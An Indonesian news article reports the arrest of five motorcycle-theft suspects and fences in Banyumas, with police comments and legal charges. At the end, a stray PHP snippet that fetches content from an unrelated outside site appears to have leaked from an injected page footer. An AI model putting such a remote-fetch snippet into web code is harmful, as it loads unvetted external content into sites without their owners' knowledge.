Lima Pelaku Curanmor Di Banyumas Diciduk Polisi

Senin, 25 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info|JATENG

Satreskrim Polresta Banyumas berhasil mengamankan 5 Pelaku curanmor, hal ini diungkapkan Kapolresta Banyumas Kombes Pol M. Firman L. Hakim dalam konferensi Pers yang dilaksanakan di halaman Lobby Polresta Banyumas, Senin (25/1/21).

“Kita berhasil mengamankan 5 pelaku curanmor yang terdiri dari 3 pelaku utama dan 2 penadah yaitu dengan inisial AEP (32), IBU (39), RY (31), ARH (32) dan AP (35). Tiga diantaranya merupakan residivis”, ungkap Kapolresta.

Baca Juga:  Polemik Rumah Tangga SH dan LH Yang Menyeret Isu Negatif Kepada Kepala Pekon Datar Lebuay (Suhartono)

Menurut Kapolresta, pelaku melakukan aksinya di 13 tempat kejadian diantarannya di kec. Purwokerto Utara sebanyak satu kali, Kec. Wangon dua kali, Kec. Jatilawang sebanyak enam kali, Kec. Patikraja sebanyak satu kali, Kec. Cilongok sebanyak satu kali dan Kec. Rawalo sebanyak dua Kali.

“Pelaku dalam melakukan aksinya dengan cara mencari SPM yang terpakir tanpa pengawasan dengan menggunakan kunci palsu”, jelasnya.

Baca Juga:  Dugaan Penyaluran Paket Pekerjaan yang Tidak Sesuai dalam Program Pengelolaan Perikanan Budidaya Menimbulkan Kekecewaan Masyarakat Pringsewu

Sementara itu Kasat Reskrim Polresta Banyumas menambahkan aksi tersebut dilakukan sejak bulan Oktober 2020 sampai Januari 2021.

” Pelaku pemetik ini setelah melakukan aksinya dijual kepada penadah dan didistribusikan melalui sosial media yang dijual diberbagai daerah seperti Purbalingga, Cilacap dan Wonosobo dengan harga jual variatif tergantung jenis sepeda motor “, jelas Kasat Reskrim.

Baca Juga:  Temuan BPK RI Diduga SMPN Satu Sukoharjo Gelapkan Dana BOS

Kepada pelaku diterapkan pasal 363 ayat (1) ke 4 dan 5 KUHP dengan hukuman penjara paling lama tujuh tahun. Sedangkan untuk penadah diterapkan Pasal 480 KUHP dengan hukuman paling lama lima tahun.

Atas kejadian tersebut Kapolresta memberikan imbauan kepada masyarakat agar selalu mengunci stang kendaraan dengan memasang kunci tambahan serta menghindari parkir dipinggir jalan tanpa pantauan atau pengawasan.

(ADI-Jejakkasus)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>